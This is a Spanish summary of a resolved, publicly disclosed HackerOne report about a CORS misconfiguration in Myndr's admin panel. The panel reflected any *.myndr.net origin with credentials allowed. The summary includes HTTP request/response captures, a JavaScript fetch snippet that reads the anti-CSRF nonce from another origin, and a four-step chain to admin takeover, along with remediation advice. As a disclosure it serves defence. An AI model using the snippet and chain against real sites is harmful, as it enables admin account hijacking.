Reports
ALTA[CONFIGURACIÓN]#3930957

CORS mal configurado en el panel de administración de Myndr: cualquier subdominio podía leer respuestas autenticadas

El panel admin.myndr.net reflejaba cualquier origen *.myndr.net con credenciales permitidas, así que una página en cualquier subdominio podía leer respuestas autenticadas del panel, incluido el nonce anti-CSRF.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El panel de administración de Myndr (admin.myndr.net) tenía una política CORS demasiado permisiva: reflejaba en la cabecera Access-Control-Allow-Origin cualquier origen que fuese un subdominio de myndr.net, y lo hacía junto con Access-Control-Allow-Credentials: true. Con esa combinación, el navegador permite que un script alojado en cualquier subdominio de Myndr haga peticiones al panel llevando las cookies de sesión de la víctima y, además, lea la respuesta.

El investigador (hackwithshubh) lo clasificó como configuración incorrecta de CORS / control de acceso roto. En HackerOne quedó registrado con la debilidad Improper Access Control - Generic y el investigador le asignó una puntuación CVSS 3.1 de 7.5 (Alta), con vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N. El reporte se envió el 11 de agosto de 2026, se divulgó el 12 de agosto y llegó a estado Resolved.

Endpoints señalados como afectados:

https://admin.myndr.net/
https://admin.myndr.net/auth/login-admin
https://admin.myndr.net/auth/login-admin-new-password
https://admin.myndr.net/cp/postcode
https://dashboard.myndr.net/

Pasos de reproducción

1. Comprobar que CORS refleja cualquier origen .myndr.net con credenciales. Una petición a la raíz del panel usando un origen arbitrario del tipo evil.myndr.net recibe ese mismo origen de vuelta:

GET / HTTP/1.1
Host: admin.myndr.net
Origin: https://evil.myndr.net
HTTP/2 302
access-control-allow-origin: https://evil.myndr.net
access-control-allow-methods: GET, POST, OPTIONS, DELETE, PUT
access-control-allow-credentials: true
access-control-allow-headers: User-Agent,Keep-Alive,Content-Type
vary: Origin
location: /auth/login-admin

2. Leer el nonce anti-CSRF desde otro origen. Como se permiten credenciales, un script en un subdominio puede pedir la página de login con las cookies de la víctima y extraer el nonce del HTML de la respuesta:

fetch("https://admin.myndr.net/auth/login-admin", {credentials: "include"})
  .then(r => r.text())
  .then(html => {
    const nonce = html.match(/name="nonce" value="([^"]+)"/)[1];
    // Attacker now has the CSRF nonce
  });

3. También funciona con un origen HTTP. El servidor reflejaba igualmente el origen cuando este usaba el esquema http:// en lugar de https://:

GET / HTTP/1.1
Host: admin.myndr.net
Origin: http://admin.myndr.net
access-control-allow-origin: http://admin.myndr.net
access-control-allow-credentials: true

4. Cadena de explotación completa. Según el reporte, el encadenamiento era:

  1. Alojar una página maliciosa en cualquier subdominio *.myndr.net.
  2. Desde esa página, leer los nonces anti-CSRF de admin.myndr.net usando las cookies de la víctima.
  3. Ejecutar un ataque CSRF para cambiar la contraseña del administrador.
  4. Toma de control completa de la cuenta de administrador.

Impacto

Cualquier web alojada en un subdominio *.myndr.net podía leer las respuestas autenticadas del panel de administración: nonces anti-CSRF, datos de sesión y la propia funcionalidad del panel. Combinado con CSRF, según el investigador, esto permitía hacerse con el control total de la cuenta de administrador. El reporte indica que había más de 20 subdominios activos que podían servir como punto de partida para el ataque.

Remediación

El reporte recomienda:

  1. Eliminar la reflexión comodín de orígenes *.myndr.net.
  2. Permitir únicamente orígenes concretos y de confianza.
  3. No reflejar nunca orígenes arbitrarios junto con credenciales.
  4. Eliminar por completo la reflexión de orígenes HTTP.

El programa marcó el reporte como resuelto.